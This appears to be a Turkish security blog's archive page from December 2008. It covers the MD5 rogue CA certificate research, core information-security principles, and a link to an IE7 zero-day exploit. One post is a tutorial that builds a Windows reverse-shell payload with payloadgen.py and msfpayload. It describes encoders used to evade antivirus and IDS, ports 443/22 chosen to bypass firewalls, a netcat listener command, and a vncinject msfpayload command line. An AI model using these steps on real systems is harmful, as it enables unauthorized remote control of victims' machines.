Archive for December, 2008

Sahte root CA sertifikasının üretimi

25.Chaos konferansında Alex Sotirov ve Jacob Appelbaum çok ciddi bir açık duyurdu.
Alex Sotirov ve Jacob Appelbaum MD5 ile hashlenmiş root CA sertifikasını ürettiler ve demosunu yaptılar.
Üretilen bu sahte root CA sertifikası birçok browser tarafından geçerli bir CA olarak tanınıyor ve bununla da herhangi bir web sitesi için SSL sertifikası imzalanabiliyor.

Çok ciddi bir saldırı gibi gözüküyor ve bu saldırıdan en çok e-ticaret ve bankacılık siteleri gibi ssl sertikası
kullanan siteler etkilenecektir.Phishing saldırılarına daha gerçekçi bir boyut kazandıracaktır.

Önlem olarak sayısal sertifikaları hashlerken MD5 yerine SHA-1 kullanılması tavsiye edilmiş.Ve problemli CA kurumlarını haberdar ederek SHA-1 e geçmelerini sağlamışlar.
Güvenlik uzmanları ve konuya eğilimli kullanıcıların MD5 kullanan CA otoritelerinin Windows’dan nasil silinecegini http://www.proper.com/root-cert-problem/ adresinden öğrenebilirler.

Saldırı ile ilgili aytıntılı bilgi :
http://www.phreedom.org/research/rogue-ca/
Detaylı teknik açıklama
http://www.win.tue.nl/hashclash/rogue-ca/
Konuşma slaytları
http://www.phreedom.org/research/rogue-ca/md5-collisions-1.0.ppt
Konferans duyurusu:
http://events.ccc.de/congress/2008/wiki/Main_Page

Bilişim Güvenliği Prensipleri

Bilişim Güvenliği Nedir?

Bilişim güvenliği, bilişim ürünleri/cihazları ile bu cihazlarda işlenmekte olan verilerin gizliliğini, bütünlüğünü ve sürekliliğini korumayı amaçlayan bir disiplindir.

Bilişim güvenliği temel olarak Gizlilik (Confidentiality) , Veri Bütünlüğü (Data Integrity) , Süreklilik (Availability) üç prensip ve bunlara eklenebilecek İzlenebilirlik/Kayıt Tuma (Accountability), Kimlik Sınaması (Authentication), Güvenilirlik (Reliability – Consistency), İnkar Edememe (Non-repudiation)
prensipleri ile ifade edilebilir. Bu prensipleri kısaca açıklamak gerekirse;

Gizlilik (Confidentiality) : Bu prensip Bilginin yetkisiz kişilerin eline geçmesini engellemeyi amaçlamaktadır. Bilgi hem bilgisayar sistemlerinde, hem disk, disket, cd, dvd ve benzeri saklama ortamlarında hemde ağ üzerinde gönderici ve alıcı arasında taşınırken yetkisiz erişimlerden korunmalıdır.

Saldırgan bir yapılandırma veya yazılım hatasını istismar ederek, yahut Sosyal Mühendislik teknikleri ile yetkili insanlarların hatalarını istismar ederek bilgilere izinsiz olarak erişebilir.

Parola dosylarının çalınması, ağ üzerindeki trafiğin gözetlenmesi ve kaydedilmesi, yetkili kullanıcının fark ettirilmeden gözetlenmesi ile kullanıcıya ait kullanıcı adı ve parola gibi özel bilgilerin alınması, sisteme giriş yapan kullanıcının bilgisayarını saldırganın izinsiz kullanması gibi durumlar Gizlilik (Confidentiality) prensibi kapsamında değerlendirilir.

Veri Bütünlüğü (Data Integrity) : Bu prensibin amacı veriyi olması gerektiği şekilde tutmak ve korumaktır. Var olan bilginin bozulmasını, değiştirilmesini, yeni veriler eklenmesini, bilginin bir kısmının veya tamamının silinmesini engellemeyi hedefler.

Bu durumda veri, haberleşme sırasında izlediği yollarda değiştirilmemiş, araya yeni veriler eklenmemiş, belli bir kısmı ya da tamamı tekrar edilmemiş ve sırası değiştirilmemiş şekilde
alıcısına ulaşır.

Süreklilik (Availability) : Bilginin her an ulaşılabilir ve kullanılabilir olmasını amaçlayan prensiptir. Bilişim sistemlerinin kendilerinden beklenen işi sürekli bir şekilde tam ve eksiksiz olarak yapmasını amaçlamaktadır. Süreklilik hizmeti, bilişim sistemlerini, kurum içinden ve dışından gelebilecek başarım düşürücü tehditlere karşı korumayı hedefler. Süreklilik hizmeti sayesinde, kullanıcılar, erişim yetkileri dahilinde olan verilere, veri tazeliğini yitirmeden, zamanında ve güvenilir bir şekilde ulaşabilirler.

Sistem sürekliliği sadece bir saldırı sonucu zedelenmez, yanlış, bilinçsiz ve dikkatsiz kullanım gibi kullanıcı hatları, yazılım hataları sonucu yazılımların çökmesi gibi yazılım hataları veya donanım sorunları, yangın, su basması, yıldırım düşmesi gibi ortam şartlarındaki olumsuz değişiklikler bu prensip kapsamındadır.

İzlenebilirlik/Kayıt Tutma (Accountability) : Bu prensip sistemde gelişen her türlü olayın daha sonra incelenmesine olanak sağlaycak şekilde kayıt altına alınmasını kapsar. Kullanıcıların sisteme giriş yapmaları, e-posta alıp göndermeleri, çeşitli servislerin ve yazılımların çalıştırılaması yahut durdurulması gibi bilgisayar sistemi veya ağ üzerinde meydana gelen her türlü etkinlik olay kapsamına girmektedir.

Toplanan kayılar incelenmek sureti ile bilinen saldırı türlerine ait kayıtların varlığı yahut büyük ihtimalle yeni bir saldırıyı işaret eden sıradışı kayıtların olup olmadığı kontrol edilerek sistem yöneticilerini uyaracak alarm mesajları üretilebilir.

Kimlik Sınaması (Authentication) : Kimlik sınaması alıcının veya göndericinin yahut kullanıcının iddia ettiği kişi olduğundan emin olanmasıdır. En basit şekli ile bir bilgisayar sistemine giriş yaparken parola girilmesi de kimlik sınamasıdır. Bilgisayar ağları ve bilgisayar sistemleri dışında fiziksel sistemler için de çok önemlidir ve bu yüzden Akıllı Kartlar veya Biyometrik teknolojilere dayalı kimlik sınama sistemleri kullanılamaya başlanmıştır.

Güvenilirlik (Reliability – Consistency) : Sistemin öngörülen ve beklenen davranışı ile elde edilen sonuçlar arasındaki tutarlılık durumudur. Sistemin kendisinden beklenen şeyi eksiksiz ve fazlasız olarak her çalıştırıldığında tutarlı bir şekilde yapması olarak tanımlanabilir.

İnkar Edememe (Non-repudiation) : Bu prensip verinin iletilidiği gönderici ve alıcı arasında ortaya çıkabilecek iletişim sorunları ve anlaşmazlıkları en aza indirmeyi amaçlar. İki sistem arasında bir bilgi aktarımı yapılmışsa ne gönderen veriyi gönderdiğini, nede alıcı veriyi aldığını inkar edememelidir. Özellikle gerçek zamanlı işlem gerektiren finansal sistemlerde kullanım alanı bulmaktadır.

Msfpayload ve payloadgen.py ile Payload Derlemek

Terimler

Exploit: Bir sistemin yada programin güvenlik açigini kullanarak yetkisiz bir islem yapilmasini saglayan yöntem.
Payload: Exploit sonrasi çalisip yetkisiz islevi gerçeklestirecek içerik.
Encoder: Çalışacak olan Shellcode’u değiştiren ve IDS/IPS ler ve antivirüsler tarafından yakalanmasını önleyen yazılımlar.

Hackerlar bir hedefe yönelik saldırı düzenlerken sistemi ele geçirmek yada amaca göre sadece önemli bilgiyi elde etmeyi hedeflerler.Bilgisayar tabanlı güvenlik açıklıkları exploit edilip firewall’lar çok kolay defans dışı bırakılabiliniyor.Bu yazıda metasploit’de payloadları python ile kodlanmış payloadgen.py ile birkaç adımda basitçe derlemeyi ayrıca msfpayload’ın kullanımı anlatılmıştır.

http://www.cehturkiye.com/resim/payloadgen/1.jpg
python komutu ile payloadgen.py çalıştırılır.Lisans sözleşmesini “yes” diyerek geçebilirsiniz.

http://www.cehturkiye.com/resim/payloadgen/2.jpg
İkinci adımda sisteminizde metasploit framework’un kurulu olduğu dizinin yolunu yazmanız gerekecek. “/pentest/exploits/framework3/” gibi gibi ….

http://www.cehturkiye.com/resim/payloadgen/3.jpg
Payloadgen.py nin size derleyip sunacağı 5 payload var.Bunlardan birini seçebilirsiniz.Bu makalede örnek olarak 1.Windows Shell Reverse_TCP seçilmiştir.

 http://www.cehturkiye.com/resim/payloadgen/4.jpg
Encoder’lar , tanımına makalenin girişinde değinmiştik içeriği değiştirerek/sifreleyerek Antivirus, Kaçak Giriş Tespit ve Engelleme Sistemleri (IDS/IPS) ve Güvenlik Duvarları (Firewall)tarafından tanınmamasını sağlar.12 encoder’dan birini seçebilir veya 13 yazarak içeriği encode etmeden geçebilirsiniz.

http://www.cehturkiye.com/resim/payloadgen/5.jpg
Windows Reverse Shell payloadını seçmiştik.Bu payload; çalıştığı  kurban sistemden saldırgana tesr bağlantı (reverse connect) ile bağlanıp kurbanın komut satırını teslim eder.Atağı yapan saldırgan buraya kurbanın kendisine bağlanması için ip adresini yazmalı.

http://www.cehturkiye.com/resim/payloadgen/6.jpg
Sonraki aşamada kurbanın saldırgana hangi porttan bağlantı kuracağını soruyor.Firewall’ları atlatmak için 443. Veya 22. Portu kullanmanızı öneririm.Bu protlardan bağlantı şifreli gittiği için giden-gelen trafiği İçerik Filtreleyiciler , Kaçak Giriş Tespit ve Engelleme Sistemleri (IDS/IPS) ve Güvenlik Duvarları (Firewall) analiz edemez ve müsaade eder. (portlar açıksa ve şifreli trafiği engelle gibi bir kural yoksa)

 http://www.cehturkiye.com/resim/payloadgen/7.jpg
Seçtiğiniz payload , payload.exe adında payloadgen.py ile aynı dizinde oluştu.
En son sorduğu soruya meraklılar “yes” umrumda değil aman işim bitti napıcam diyenler “”no deyip geçsin açıklama gereği duymuyorum.

Uygulamayı yaparken gerekli açıklamalarda bulunduk şimdi payload.exe nin çalıştığı sistem bize bağlantı isteği gönderdiğinde gelen bağlantıyı kabul etmek için o portu dinlemeli ve insan halinden anlayan bir progrmacık ile bu işi yapmalıyız.
Netcat ile bu portu (nc –lvp 443) dinleyelim ve kurban payload.exe’yi çalıştırsın :

 http://www.cehturkiye.com/resim/payloadgen/8.jpg
Evet resimde görüldüğü gibi kurbanın komut satırı bizde : )

Metasploit Framework’de payloadgen.py nin hesaba katmadığı payloadlar var bunları ise msfpayload  ile derleyebilirsiniz.Mantık yukarıda yaptığımız işlemlerle aynı ..

Örnek olarak payloadgen.py de bulunmayan vncinject payloadını msfpayload ile oluşturalım.

http://www.cehturkiye.com/resim/payloadgen/msfpayload.jpg

msfpayload windows/vncinject/reverse_ord_tcp LHOST=ipadresi LPORT=portnumarası X > vncinject.exe

Bağlantılar:
Metasploit Framework : www.metasploit.com

Payloadgen.py : http://www.securestate.com/files/payloadgen.py

MS Internet Explorer XML Parsing Remote Buffer Overflow Exploit

internet explorer buffer overflow

Microsoft İnternet Explorer 7 de uzakdan kod çalıştırmaya imkan tanıyan güvenlik zaafiyeti bulundu.

Saldırgan, hazırladığı içeriği internet explorer ile ziyaret eden kurban makinada istediği kodu çalıştırabiliyor.
Sıfırıncı gün ( 0 Day ) olarak yayımlanan bu açıklık için microsoft henüz yama çıkarmadı.İnternet explorer 7 kullanan windows sistemlerinde güvenlik açığı mevcut.
Zarar görmemek için Microsoft yama çıkarana kadar mozilla firefox, opera gibi gibi daha güvenli tarayıcıları kullanmanızı öneririm.

Exploit’e aşağıdaki adresten ulaşabilirsiniz:
http://milw0rm.com/sploits/2008-iesploit.tar.gz

 
Hosting Sponsorumuz